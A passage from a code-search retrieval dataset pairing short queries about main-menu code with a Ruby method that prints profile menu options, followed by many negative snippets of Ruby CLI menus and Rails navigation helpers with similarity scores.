query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
listlengths 0
101
| negative_scores
listlengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
|---|---|---|---|---|---|---|
MAIN MENU SUB PROFILE
|
def display_profile_options
puts "1. Back to Main Menu"
puts "2. Remove a Beer from My Interests"
puts "3. Refresh Page"
puts "4. Logout"
print_line
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def nav_main(topic = \"main\")\n main = \"\"\n back = \"\"\n profile = \"[\" + \"\\#\".green + \"] View Profiles \"\n exit_cli = \"[\" + \"exit\".green + \"] Exit Program \"\n if topic != 'main'\n back = \"[\" + \"menu\".green + \"] Main Menu \" if topic != \"Top Ten\" || topic != \"kidnapped\"\n # else\n # main = \"[\" + \"menu\".green + \"] Main Menu \" if topic != \"main\"\n end\n \"#{profile}#{back}#{main}#{exit_cli}\"\n end",
"def display_main_menu(clear_screen = false)\n clear if clear_screen\n title_header(TITLES[:main_menu],\"_\",\"-\",false)\n\n Api.main_topics.each_with_index do |type, i|\n puts \"#{(\" \" * (PROFILE_SIDE / 2))}#{i+1}\".green + \". #{type}\" \n end\n\n puts \"\\n NAVIGATE: \".black.on_green + \" #{nav_main}\".on_black\n input_menu\n end",
"def sub_menu\n puts \"\\n***********************************************\".colorize(:magenta).blink\n puts \"Type the following letters to do...\".colorize(:blue)\n puts \"-----------------------------------------------\".colorize(:cyan).bold\n puts \"s = Save Recipe to My Favorites\".colorize(:blue)\n puts \"r = Rate Recipe\".colorize(:blue)\n puts \"a = See Average Recipe Rating\".colorize(:blue)\n puts \"o = Open Link to See the Steps for This Recipe\".colorize(:blue)\n puts \"m = Back to Main Menu\".colorize(:blue)\n puts \"***********************************************\\n \".colorize(:magenta).blink\n end",
"def main_menu\n menu = [\n \"My Stats\",\n \"My Hikes\",\n \"Trails\",\n \"Quit\"]\n choice = nil\n while choice != \"Quit\"\n system 'clear'\n puts \"------MAIN MENU------\"\n choice = @prompt.select(\"What would you like to do #{@current_user.name}?\", menu)\n\n case choice\n when \"My Stats\"\n user_stats\n when \"My Hikes\"\n hike_options\n when \"Trails\"\n trail_options\n end\n end\n end",
"def main_menu_link; MAIN_MENU_LINK; end",
"def main()\n main_menu(SHOW_HEADER);\n end",
"def user_profile \n system 'clear'\n CoffeeMan.stay_logo\n choice = @prompt.select(\"~P R O F I L E~\") do |menu|\n puts \"HELLO #{@userid.username}\".colorize(:light_blue)\n menu.choice \"Update Username\", -> {change_username}\n menu.choice \"Update Password\", -> {change_password}\n menu.choice \"Delete Account\", -> {delete_profile}\n menu.choice \"Back\", -> {main_menu}\n end\n sleep 1\n end",
"def sub_menu(choise)\n case choise\n when '1'\n make_route\n when '2'\n make_station\n when '3'\n make_train\n when '4'\n list_routes\n when '5'\n list_stations\n when '6'\n list_trains\n when '7'\n list_station_trains\n when '8'\n attach_station\n when '9'\n dettach_station\n when '10'\n attach_train\n when '11'\n attach_wagon\n when '12'\n dettach_wagon\n when '13'\n list_train_wagons\n when '14'\n occupy_train_wagon\n when '15'\n move_train\n else\n puts \"Введено некорректное значение меню\\n\\n\"\n end\n end",
"def main_menu\n h = {\n a: :ag,\n z: :z_interface,\n # f: :file_actions,\n b: :bookmark_menu,\n c: :create_menu,\n f: :filter_menu,\n o: :order_menu,\n s: :selection_menu,\n t: :toggle_menu,\n v: :view_menu,\n '`' => :goto_parent_dir,\n x: :extras\n }\n menu 'Main Menu', h\nend",
"def list_menu\n puts \"\\nMain Menu\"\n puts \"1. Daily Prophet - News!\"\n puts \"2. Evanesco - Exit\"\n end",
"def current_sublink\n @current_sublink ||= current_menu_link_group.parent || InternalTab.new\n end",
"def main_menu\n name_selector\n puts \"Okay #{@name}, what would you like to do?\"\n loop do\n case menu_arrows\n when '1'\n @recommendation.recommendation_menu\n when '2'\n puts 'you have the following number of games in your library: '\n @game_library.game_instances\n puts 'your custom list of games:'\n @game_library.user_games_lister\n when '3'\n puts 'add a game:'\n @game_library.add_title\n when '4'\n @game_library.delete_games\n when '5'\n @time_used.time_wasted\n when '6'\n @game_library.write_games\n puts 'thanks for your time!'\n exit\n end\n end\n end",
"def render_menus \n# student_menu = add_menu('#{@studentb.full_name}')\n student_menu = add_menu('#{image_tag(@studentb.thumb_image,:style=>\";float:left;height:25px;margin-right:10px;\") + \" \" + @studentb.full_name + \" \"}',:action=>'profile')\n student_menu.add_submenu('Profile',:action=>'profile')\n student_menu.add_submenu('Photos',:action=>'photo',:if=>\"@studentb.visible_album_counts(@me) > 0\") \n student_menu.add_submenu('Binder',:action=>'show_notes',:if=>\"@studentb.notes.not_anonymous.size > 0\") \n \n end",
"def main_menu\n prompt.select(\"What would you like to do today #{user.name}?\") do |menu|\n menu.choice \"Choose Protein\", -> {choose_protein}\n menu.choice \"Exit!\", -> {exit_helper}\n menu.choice \"Delete Account!?!?\", -> {delete_account_helper}\n end\n end",
"def default_profile_toolbar_menu(subject = current_subject)\n items = Array.new\n #Information button\n items << {:key => :subject_info,\n :name => image_tag(\"btn/btn_edit.png\")+t('menu.information'),\n :url => [subject, :profile]\n }\n\n if subject!=current_subject\n #Like button\n items << {:key => :like_button,\n :name => link_like_params(subject)[0],\n :url => link_like_params(subject)[1],\n :options => {:link => link_like_params(subject)[2]}}\n\n if user_signed_in?\n #Relation button\n items << {:key => :subject_relation,\n :name => image_tag(\"btn/btn_friend.png\") + current_subject.contact_to!(subject).status,\n :url => edit_contact_path(current_subject.contact_to!(subject))\n }\n #Send message button\n items << {:key => :send_message,\n :name => image_tag(\"btn/btn_send.png\")+t('message.send'),\n :url => new_message_path(:receiver => subject.slug)\n }\n end\n end\n #Documents if present\n if SocialStream.activity_forms.include? :document\n if subject == current_subject\n resources_label = t('resource.mine')\n else\n resources_label = t('resource.title')\n end\n items << {:key => :resources,\n :name => image_tag(\"btn/btn_resource.png\",:class =>\"menu_icon\")+resources_label,\n :url => \"#\",\n :options => {:link => {:id => \"resources_menu\"}},\n :items => [\n {:key => :resources_documents,:name => image_tag(\"btn/btn_document.png\")+t('document.title'),:url => polymorphic_path([subject, Document.new])},\n {:key => :resources_pictures,:name => image_tag(\"btn/btn_gallery.png\")+t('picture.title'),:url => polymorphic_path([subject, Picture.new])},\n {:key => :resources_videos,:name => image_tag(\"btn/btn_video.png\")+t('video.title'),:url => polymorphic_path([subject, Video.new])},\n {:key => :resources_audios,:name => image_tag(\"btn/btn_audio.png\")+t('audio.title'),:url => polymorphic_path([subject, Audio.new])}\n ]}\n end\n render_items items\n end",
"def run_normal\n welcome_header\n main_menu \n end",
"def main_top_menu_items\n split_top_menu_into_main_or_more_menus[:main]\n end",
"def main_menu\n menu_options = [\"Start exploring\", \"Check Inventory\", \"Check Your Score\", \"Go to Pokemon Center\", \"Quit\"]\n menu_prompt = Interactivity.mainMenu \n \n if user.pokemon == nil\n menu_options.shift()\n menu_options.unshift(\"Choose a Pokemon and start exploring\")\n elsif self.user_current_location\n menu_options.shift()\n menu_options.unshift(\"Keep Exploring\")\n end\n \n choice = prompt.select(menu_prompt, menu_options) \n if choice == \"Start exploring\" || choice == \"Choose a Pokemon and start exploring\" || choice == \"Keep Exploring\"\n self.trainer_chooses_pokemon if user.pokemon == nil \n self.trainer_chooses_town\n self.exploring_town\n elsif choice == \"Check Inventory\"\n puts \"MANAGE INVENTORY - CHANGE POKEMONS AROUND\"\n elsif choice == \"Go to Pokemon Center\"\n self.pokemon_center\n elsif choice == \"Check Your Score\"\n puts \"CHECK YOUR SCORE\"\n else\n Interactivity.quit\n end\n end",
"def main_menu\n @ui.input_1_change\n @ui.user_input1.downcase\n unless %w[trains routes stations cars].include? @ui.user_input1\n puts 'There is no such option in the main menu.'\n end\n main_menu_choose_option(@ui.user_input1)\n end",
"def main_menu_runner\n\n splash\n\n login_menu_display\n\n end",
"def menu_type\n\t\t\"secondary\" if controller_name == \"users\"\n\tend",
"def main_menu\n h = { \n \"1\" => :view_article,\n \"2\" => :view_comments,\n :f => :display_forum,\n :v => :view_menu,\n :r => :reload,\n :m => :fetch_more,\n :R => :reddit_options,\n :H => :hacker_options,\n :s => :sort_menu, \n :C => :config_menu,\n :a => :view_article,\n :c => :view_comments,\n :x => :extras\n }\n=begin\n :a => :ack,\n \"/\" => :ffind,\n :l => :locate,\n :v => :viminfo,\n :z => :z_interface,\n :d => :child_dirs,\n :r => :recent_files,\n :t => :dirtree,\n \"4\" => :tree,\n :F => :filter_menu,\n :c => :command_menu ,\n :B => :bindkey_ext_command,\n :M => :newdir,\n \"%\" => :newfile,\n=end\n\n menu \"Main Menu\", h\nend",
"def profile\n\t@user = current_user\n\t@title = \"This is your profile page\"\n end",
"def main_menu\n choice = self.prompt.select(\"Hi there, #{self.user.name}! What would you like to do today?\", [\"Create a new post\", \"Find a book\", \"View or edit my posts\", \"Delete my account\", \"Logout\"])\n\n case choice\n when \"Create a new post\"\n self.new_post\n when \"Find a book\"\n self.find_book\n when \"View or edit my posts\"\n self.view_edit_posts\n when \"Delete my account\"\n self.delete_account\n when \"Logout\"\n self.spinner(\" ✌️✌️✌️ \")\n self.greet\n end\n end",
"def menu_options\n system \"clear\"\n puts \"~~~ Welcome #{@user.username} to the Main Menu ~~~\\n\\n\" \n puts \"{1} Continue from previous story \"\n puts \"{2} Create new story\"\n puts \"{3} Delete a story\"\n puts \"{4} Tutorial\"\n puts \"{5} End My Session\"\nend",
"def main_menu\n h = { \n :a => :ack,\n \"/\" => :ffind,\n :l => :locate,\n :v => :viminfo,\n :z => :z_interface,\n :d => :child_dirs,\n :r => :recent_files,\n :t => :dirtree,\n \"4\" => :tree,\n :s => :sort_menu, \n :F => :filter_menu,\n :c => :command_menu ,\n :B => :bindkey_ext_command,\n :M => :newdir,\n \"%\" => :newfile,\n :x => :extras\n }\n menu \"Main Menu\", h\nend",
"def sub_view\n page(NavTabBarPage).select_storytab(\"Action\")\n page(NavTabBarPage).flag_handler(\"Cancel\")\n page(NavTabBarPage).select_storytab(\"Action\")\n page(NavTabBarPage).sub_handler\n page(SubmissionPage).verify_page_elements\n page(SubmissionPage).select_action(\"Submissions\")\n page(SubmissionPage).select_action(\"Comments\")\n page(MorePage).backpage\n end",
"def nav_sub_menu_item(sub_menu_label, permission, route = '#', title = '', options = {})\n model_name = route.gsub( /(new|path|admin|_|\\/)/, '').strip.capitalize.singularize.constantize\n controller = route.gsub(/(new|path|admin|_|\\/)/, '').strip.downcase.underscore.pluralize\n sub_menu_label = t(\"activerecord.models.#{sub_menu_label}\")\n action, sub_menu_label = permission.eql?(:create) ? [:new, \"Cadastrar #{sub_menu_label}\"] : [:index, \"Listar #{sub_menu_label}\"]\n new_route = { :controller => \"admin/#{controller}\", :action => action }\n content_tag(:li, link_to(sub_menu_label, new_route, :title => title)) if can? permission, model_name\n end",
"def main_menu\n ctrlr = request.parameters['controller'].split('/').last\n dashboard_class = (ctrlr == 'dashboard' ? 'current' : '')\n assets_class = (ctrlr == 'assets' ? 'current' : '')\n design_class = ((ctrlr == 'themes' || ctrlr == 'resources') ? 'current' : '')\n contacts_class = (ctrlr == 'contacts' ? 'current' : '')\n settings_class = (ctrlr == 'settings' ? 'current' : '')\n content_class = ((ctrlr == 'home' || ctrlr == 'links' || ctrlr == 'news_items' || ctrlr == 'portfolios' || ctrlr == 'assigned_assets' || ctrlr == 'resume_sections' || ctrlr == 'resume_items' || ctrlr == 'galleries') ? 'current' : '')\n admin_class = ((ctrlr == 'users' || ctrlr == 'sites' || ctrlr == 'memberships') ? 'current' : '')\n \n result = content_tag('li', link_to('Dashboard', admin_dashboard_path, :class => dashboard_class))\n result << content_tag('li', link_to('Content', edit_admin_home_path, :class => content_class))\n result << content_tag('li', link_to(assets_name, admin_assets_path, :class => assets_class))\n result << content_tag('li', link_to('Design', admin_themes_path, :class => design_class))\n result << content_tag('li', link_to('Contacts', admin_contacts_path, :class => contacts_class))\n result << content_tag('li', link_to('Settings', edit_admin_settings_path, :class => settings_class))\n if admin?\n result << content_tag('li', link_to('Admin', admin_users_path, :class => admin_class))\n end\n result\n end",
"def main_menu(owner_name, owner)\n puts \"#{page_break}\\n\n Select from the following menu options to get started:\\n\n 1 - Make New Appointent\n 2 - Reschedule Appointment\n 3 - Cancel Appointment\n 4 - Search for a Groomer\n 5 - Exit\n \"\n end",
"def main_menu\n @active = 0\n @prompt.select(\"\\nWhat would you like to do?\\n\".blue) do |menu|\n menu.choice \"Check out what's on today\", -> {today_menu} \n menu.choice \"Check out things to do on the weekend\", -> {weekend_menu}\n menu.choice \"Look at my favourites\", -> {display_favorites}\n menu.choice \"Exit\".red, -> {leave_app} \n end \n end",
"def home_page\r\nif self.has_profile?('Admin', 'Faveod User')\r\n {:controller => :system_settings}\r\nelse\r\n {:controller => :users, :action => :show, :id => self.id}\r\nend\r\nend",
"def displaymenu # Console only\r\n\t\t @output.puts \"Menu: (1) Play | (2) New | (3) Analysis | (9) Exit\"\r\n\t\t end",
"def display_menu\n system('clear')\n arr = ['My List', 'Recommendations', 'Playlist', 'Account Details', 'Exit']\n @prompt.select(\"》 MAIN MENU 《\\n\".colorize(:light_green), arr)\n end",
"def show_main_menu\n puts \" Welcome to the app. What's next?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" list important - List all contacts\"\n puts \" show :id - Display contact details\"\n puts \" delete - Delete an entry\"\n puts \" find - Find an entry\"\n print \"> \"\n end",
"def main_menu(user)\n user = user\n self.clear\n Ascii.image\n menu = [\"See all my plants\",\"Add new plant\",\"Delete my account\",\"Quit\"]\n menu_selection = @@prompt.select(\"What would you like to do?\",menu)\n \n case menu_selection\n when \"See all my plants\"\n my_plant(user)\n when \"Add new plant\"\n add_plant(user)\n when \"Delete my account\"\n answer = @@prompt.yes?(\"Are you sure?\")\n answer == true ? user.destroy : self.main_menu(user)\n when \"Quit\"\n index = 0\n # binding.pry\n color = [\"#7FFF00\",\"#6B8E23\",\"#008000\",\"#2F4F4F\",\"#00008B\"]\n 5.times do\n self.clear\n # binding.pry\n puts Paint[Ascii.goodbye, color[index]] \n index += 1\n sleep(0.7)\n end \n end\n end",
"def main_menu()\n system 'clear'\n loop do\n headline(\"My Petsitter App\")\n puts \"#{@emoji[:smiling_cat_face_with_open_mouth]} Welcome! #{@emoji[:dog_face]}\".colorize(:bold)\n puts @headline\n input = @prompt.select('Menu:') do |menu|\n menu.choice name: 'Pet Sitters', value: \"PET_SITTERS\"\n menu.choice name: 'Clients', value: \"CLIENTS\"\n menu.choice name: 'Jobs', value: \"JOBS\"\n menu.choice name: 'Logout', value: \"EXIT\"\n end\n puts '-' * 20\n go_to(input)\n end\n end",
"def assigned_menu\n\n end",
"def menu\n \n \n\nend",
"def booth_main_menu\n prompt.select(\"Welcome Booth Operator, what would you like to do today?\" ) do |menu|\n menu.choice \"View Merchandise\", -> {self.user.check_merchandise}\n menu.choice \"Update Inventory\", -> {self.user.add_to_inventory}\n menu.choice \"List of Customers\", -> {self.user.list_of_attendees}\n menu.choice \"Number of Sales\", -> {self.user.number_of_sales}\n menu.choice \"Items Sold\", -> {self.user.sales_made}\n menu.choice \"Sales Revenue\", -> {self.user.sales_revenue}\n menu.choice \"Exit\", -> {exit!}\n end\n end",
"def init_menu\n @menus.set_selected(\"about\")\n end",
"def print_menu\n puts \"1. List patients\"\n # ....\n end",
"def user_list\n appWelcome\n @path = Dir.glob('*').join(', ').to_s\n if File.exist?(@path)\n clear\n appWelcome\n puts 'Select your profile'\n profile_menu = [\n { File.basename(@path, '.yml') => -> do user_menu end },\n { 'Quit' => -> do exit_app end }\n ]\n $prompt.select('', profile_menu)\n\n # user_menu\n else\n no_creation_of_profile\n clear\n end\n end",
"def display_sub_menu?\n @sub_menus = nil\n\n # sub-menu for Catalog Management\n if controller.is_a?(AdminLeelah::CatalogManagement::CatalogManagementController)\n @sub_menus = {\n '.link.products' => admin_leelah_catalog_management_products_path,\n '.link.categories' => admin_leelah_catalog_management_categories_path,\n }\n # sub-menu for Order Management\n elsif controller.is_a?(AdminLeelah::OrderManagement::OrderManagementController)\n @sub_menus = {\n '.link.orders' => admin_leelah_order_management_orders_path,\n }\n # sub-menu for General Configuration\n elsif controller.is_a?(AdminLeelah::GeneralConfiguration::GeneralConfigurationController)\n @sub_menus = {\n '.link.users' => admin_leelah_general_configuration_users_path,\n }\n end\n\n @sub_menus\n end",
"def show_main_menu\n puts \"Welcome to the app. What would you like to do?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" quit - Exit Application\"\n puts \" show - shows contact with specific id\"\n puts \" find - find a user\"\n print \"> \"\n end",
"def main_Menu_Name\n Goldberg.menu.main_Menu_Name\n end",
"def main_menu\n \"Welcome to BATTLESHIP\\nEnter p to play or q to quit\"\n end",
"def admin_menu_items\n menu = []\n menu.push([t(\"menu.home\"), admin_home_path, Proc.new {controller_name == \"home\"}])\n if current_user\n menu.push([t(\"menu.projects\"), admin_projects_path, Proc.new {controller_name == \"projects\" || controller_name == \"project_to_users\"}])\n menu.push([t(\"menu.users\"), admin_users_path, Proc.new {controller_name == \"users\"}])\n menu.push([t(\"menu.profile\"), admin_profile_path, Proc.new {controller_name == \"profile\"}])\n menu.push([t(\"menu.logout\"), logout_path])\n end\n menu\n end",
"def show_main_menu\n puts \"What would you like do next?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" delete - Delete a contact\"\n puts \" show - Display contact details\"\n # puts \" find - Find a contact\"\n print \"> \"\n end",
"def second_case_menu(selection)\n case selection\n when 'Export To File'\n export_to_file\n when 'Back'\n menu = Menu.new(@user)\n menu.menu_router\n end\n end",
"def admin_subnavigation\n alchemy_module = module_definition_for(:controller => params[:controller], :action => 'index')\n unless alchemy_module.nil?\n entries = alchemy_module[\"navigation\"].stringify_keys['sub_navigation']\n render_admin_subnavigation(entries) unless entries.nil?\n else\n \"\"\n end\n end",
"def menu\nend",
"def show_main_menu\n puts \"Welcome to the app. What's next?\".yellow\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" show - display details via index\"\n puts \" find - find someone by name\"\n puts \" quit - Exit Application\"\n print \"> \"\n end",
"def menu\n \nend",
"def print_menu_options\n puts \"\"\n puts \"-------Main menu-------\".center(50)\n puts \"1. Add Students\"\n puts \"2. Show all students\"\n puts \"3. Show all the students that their names starts with an 'A'\"\n puts \"4. Show all the students that their names have less than 12 characters\"\n puts \"5. Show the students grouped by cohort\"\n puts \"6. Save the students in a file\"\n puts \"7. Load students from the file\"\n puts \"8. Update student information\"\n puts \"9. Exit\"\nend",
"def main_menu\n @@prompt.select(\"What would you like to do today?\".colorize(:yellow)) do |menu|\n menu.choice \"Read Reviews\", -> {self.read_reviews}\n menu.choice \"Write a review\", -> { self.writing }\n menu.choice \"Update a review\", -> { self.update_reviews }\n menu.choice \"Delete a review\", -> { self.deleting }\n menu.choice \"Log Out\", -> { self.log_out }\n end\n end",
"def init_menu\n @menus.set_selected(\"dashboard\")\n end",
"def set_current_menu\r\n @current_menu = params[:controller].to_sym\r\n @current_sub_menu = nil\r\n end",
"def show_main_menu\n puts \"Welcome to the app. What's next?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" find - Find by name\"\n puts \" delete - Delete by ID\"\n puts \" quit - Exit Application\"\n print \"> \"\n end",
"def profile\n end",
"def profile\n end",
"def profile\n end",
"def profile\n end",
"def profile\n end",
"def profile\n end",
"def main_menu\n puts \"Here is a list of available commands:\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" show - Show a contact\"\n puts \" search - Search contacts\"\n puts \" delete - Deletes a contact\"\n end",
"def main_menu\r\n puts \"\\nMain Menu.\"\r\n puts \"A. List Buildings\"\r\n puts \"B. List Machines\"\r\n puts \"C. List Snacks\"\r\n puts \"D. List Users\"\r\n puts \"E. Find a Snack\"\r\n puts \"F. Add a New Snack\"\r\n puts \"G. Create New User\"\r\n puts \"H. List Favorites\"\r\n puts \"I. Find Favorites\"\r\n puts \"J. Add Favorites\"\r\n puts \"Q. Quit\"\r\nend",
"def main_menu\n\t\tputs '################################'\n\t\tputs '######### Tic Tac Toe ##########'\n\t\tputs '################################'\n\t\tputs '================================'\n\t\tputs '== Choose your weapon warrior =='\n\t\tputs '================================'\n\t\tputs '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^'\n\t\tputs '^^^^^^ Type Your Choice: ^^^^^^^'\n\t\tputs '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^'\n\t\tputs '$$$$$$$$$$$ 1. \"X\" $$$$$$$$$$$$$'\n\t\tputs '$$$$$$$$$$$ 2. \"O\" $$$$$$$$$$$$$'\n\t\tputs '--------------------------------'\n\tend",
"def main_menu\n puts \"---------------Animal shelter 4.5A-----------\"\n puts\n puts \"[1] List clients\"\n puts \"[2] List animals for adoption\"\n puts \"[3] Add a new client\"\n puts \"[4] Add a new animal\"\n puts\n puts\n puts \"[5] exit\"\n puts \"---------------------------------------------\"\nend",
"def rename_submenu\n\t\tputs \"Enter new list name:\"\n\t\tchoice = get_choice\n\t\t@todo_list.rename_title choice\n\t\tprint_menu\n\tend",
"def index\n @homepage_submenus = HomepageSubmenu.all\n end",
"def active_menu\n active[:main_menu].try(:to_s)\n end",
"def main_menu\n while true\n print_main_menu\n user_selected =gets.to_i\n call_option(user_selected)\n end\n end",
"def sub_flag\n page(MorePage).touch_subflag\n page(NavTabBarPage).flag_handler(\"Cancel\")\n page(MorePage).touch_subflag\n page(NavTabBarPage).flag_handler(\"Flag\")\n sleeper(25)\n page(MorePage).backpage\n sleeper(16)\n end",
"def tableau_menu\n player_name_list = @mk.players.collect { |p| p.name }\n @@cli.choose do |menu|\n menu.prompt = \"Whose situation do you want information on? \"\n menu.choices(*player_name_list) do |chosen|\n @@cli.say \"You have chosen <%= color('#{chosen}', BOLD) %>. \"\n @mk.players.find { |p| p.name==chosen }.tableau.console_output\n end\n menu.choice(:none) { @@cli.say \"OK, leaving tableau menu\"}\n end\n end",
"def show_main_menu\n puts \"Welcome to the app. What's next?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" show id - Show info for contact id number\"\n puts \" quit - Exit Application\"\n print \"> \"\n end",
"def index\n\t\t@content_title = \"Main menu\"\n\tend",
"def show_main_menu\n puts \"Welcome to the app. What's next?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" find - Find by name\"\n puts \" quit - Exit Application\"\n print \"> \"\n end",
"def menu # can do custom methods within a method/class\n end",
"def set_profile\n if current_user.nil?\n redirect_to :home, notice: t( 'profiles.notice.pls_signon') \n else\n @person = Person.find( current_user.person_id )\n @user_id = current_user.id\n set_final_breadcrumb( action_name )\n end\n self.feature_help_file = :profile\n end",
"def main_menu_nav(main_menu_item)\n main_menu_items.each do |item|\n if item.text == main_menu_item\n item.click\n break\n end\n end\n end",
"def render_admin_subnavigation(entries)\n render \"alchemy/admin/partials/sub_navigation_tab\", :entries => entries\n end",
"def main_menu\n while true\n print_main_menu\n user_selected = gets.chomp.to_s\n call_option(user_selected)\n end\n end",
"def edit\n session[:current_sub_tab] = \"Edit Your Account\"\n if @user.profile\n @thumbnail = Logotype.find(:first, :conditions => {:parent_id => @user.profile.logotype, :thumbnail => 'photo'})\n end\n end",
"def menu_pet_sitter()\n loop do\n system 'clear'\n headline(\"Pet Sitters\")\n pet_sitter = @db.get_data(\"pet_sitters\")\n menu = []\n for profile in pet_sitter\n menu.push({name: \"#{profile[\"name\"]}\", value: profile[\"id\"]})\n end\n menu = menu + @navigation\n input = @prompt.select(\"List of pet sitters (click to edit)\", menu)\n @last_menu = \"main_menu\"\n go_to(input)\n menu_edit_pet_sitter(input)\n end\n end",
"def display_main_menu\n loop do\n case main_menu_selection\n when 1\n RunApp.start_quiz(1)\n when 2\n RunApp.start_quiz(2)\n when 3\n exit\n end\n end\n end",
"def li_navbar_misc\n menu = :misc\n # drop down list for the Misc menu\n sub_menus = {merchandise: admin_merchandise_pieces_path,\n infos_samples: samples_my_studio_infos_path,\n stories: admin_stories_path,\n infos_faqs: faq_my_studio_infos_path}\n dropdown_active, sub_menu_html = navbar_dropdown_sub_menus(menu, sub_menus)\n li_navbar_dropdown_menu(menu, sub_menu_html, dropdown_active)\n end",
"def view_profile_of_page(page_name)\n self.link(:class=>/lhnavigation_page_title_value/, :text=>page_name).fire_event(\"onmouseover\")\n wait_for_ajax #.wait_until { self.link(:class=>/lhnavigation_page_title_value/, :text=>page_name).parent.div(:class=>\"lhnavigation_selected_submenu_image\").visible? }\n self.div(:class=>\"lhnavigation_selected_submenu_image\").hover\n self.execute_script(\"$('#lhnavigation_submenu').css({left:'328px', top:'349px', display: 'block'})\")\n wait_for_ajax #.wait_until { self.link(:id=>\"lhavigation_submenu_edittitle\").visible? }\n self.link(:id=>\"lhnavigation_submenu_profile\").click\n wait_for_ajax #.button(:title=>\"Show debug info\").wait_until_present\n self.window(:title=>\"rSmart | Content Profile\").use\n ContentDetailsPage.new self\n end",
"def print_main_menu\n puts \"1. Add a contact\"\n puts \"2. Modify a contact\"\n puts \"3. Display all contacts\"\n puts \"4. Display a contact\"\n puts \"5. Display contact attributes\"\n puts \"6. Delete a contact\"\n puts \"7. Exit\"\n end",
"def show\n @main_page = \"Admin\"\n @page_title = \"Configuração\"\n end",
"def set_main_menu\n @main_menu = MainMenu.find(params[:id])\n end",
"def menu\n system('clear')\n selection = @prompt.select('》 PLAYLIST 《', ['Display', 'Add', 'Remove', 'Export To File', 'Back'])\n case selection\n when 'Display'\n list\n else\n case_menu(selection)\n end\n end",
"def view_menu\n h = {\n f: :select_from_visited_files,\n d: :select_from_used_dirs,\n b: :view_bookmarks,\n s: :list_selected_files,\n c: :child_dirs,\n r: :recent_files,\n t: :tree,\n e: :dirtree\n }\n menu 'View Menu', h\nend",
"def index\n @custom_menus = @sub_project.custom_menus.all\n end",
"def case_menu(selection)\n case selection\n when 'Playlist'\n @playlist.menu\n when 'Account Details'\n account_details\n when 'Exit'\n p \"Is this exiting?\"\n end\n end",
"def start_menu\n printf \"\\nPrograma para a disciplina de LPD\\n\"\n printf \"Choose one option\\n\"\n printf \"------------------------------------\\n\"\n printf \"1) Insert user\\n\"\n printf \"2) Login user\\n\"\n printf \"3) Delete user\\n\"\n printf \"0) Exit\\n\"\nend",
"def main_menu(user_instance)\n user_greeting(user_instance)\n case help\n when \"1\", \"playlist\", \"playlists\"\n system(\"clear\")\n playlists_menu(user_instance)\n when \"2\", \"songs\", \"song\"\n system(\"clear\")\n songs_menu(user_instance)\n # when \"3\", \"artists\", \"artist\"\n # system(\"clear\")\n # artists_menu(user_instance)\n when \"exit\"\n system(\"clear\")\n goodbye\n exit\n else\n system(\"clear\")\n puts \"Please enter a valid command.\".colorize(:red).bold\n main_menu(user_instance)\n end\nend",
"def set_page_info\n unless user_signed_in? && (current_user.is_customer? || current_user.is_vendor? )\n @menus[:general_ledger][:active] = \"active\"\n end\n end",
"def define_menu_items\n add_menu_item(\"File storage.\", 1)\n add_menu_item(\"Sqlite3.\", 2)\n end",
"def main_menu\n\t\twhile true\n\t\t\tprint_main_menu\n\t\t\tuser_selected = gets.chomp.to_i\n\t\t\t\tif user_selected == 7\n\t\t\t\tputs \"Current session ended, goodbye!\"\n\t\t\t\treturn\n\t\t\tend\n\t\t\tcall_option(user_selected)\n\t\tend\n\tend"
] |
[
"0.68258536",
"0.67460877",
"0.6700859",
"0.650722",
"0.64213187",
"0.6280471",
"0.62683076",
"0.62311995",
"0.619744",
"0.61858714",
"0.61577296",
"0.61438626",
"0.61333454",
"0.61326206",
"0.61290604",
"0.6092275",
"0.6064746",
"0.6048305",
"0.6047068",
"0.6030769",
"0.60238975",
"0.5994979",
"0.5981489",
"0.59744644",
"0.5955873",
"0.5952109",
"0.593937",
"0.59385926",
"0.59345573",
"0.5897426",
"0.5891667",
"0.588953",
"0.5888486",
"0.5874987",
"0.587349",
"0.5862061",
"0.5857282",
"0.5857253",
"0.5840115",
"0.5839517",
"0.5835164",
"0.5828195",
"0.5827304",
"0.5827061",
"0.5817834",
"0.580015",
"0.5795379",
"0.5790345",
"0.57903165",
"0.5770946",
"0.5766724",
"0.57652974",
"0.5764159",
"0.5762838",
"0.575469",
"0.57490844",
"0.5744729",
"0.57430816",
"0.57312477",
"0.5728612",
"0.5728612",
"0.5728612",
"0.5728612",
"0.5728612",
"0.5728612",
"0.5727394",
"0.5726454",
"0.5721597",
"0.5714672",
"0.5712635",
"0.5711881",
"0.5699228",
"0.5696904",
"0.568103",
"0.5675868",
"0.5674876",
"0.5673361",
"0.5672325",
"0.5668421",
"0.5666213",
"0.56605864",
"0.5649375",
"0.5648256",
"0.56453824",
"0.564516",
"0.5643472",
"0.5637765",
"0.5619537",
"0.5619337",
"0.5613541",
"0.5597945",
"0.55959743",
"0.55907696",
"0.5585363",
"0.5580495",
"0.55705595",
"0.556711",
"0.55588657",
"0.5558667",
"0.5558566"
] |
0.58774143
|
33
|
MAIN MENU SUB 1
|
def prompt_sub_one
puts "1. New Search"
puts "2. Back to Main Menu"
print_line
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def main()\n main_menu(SHOW_HEADER);\n end",
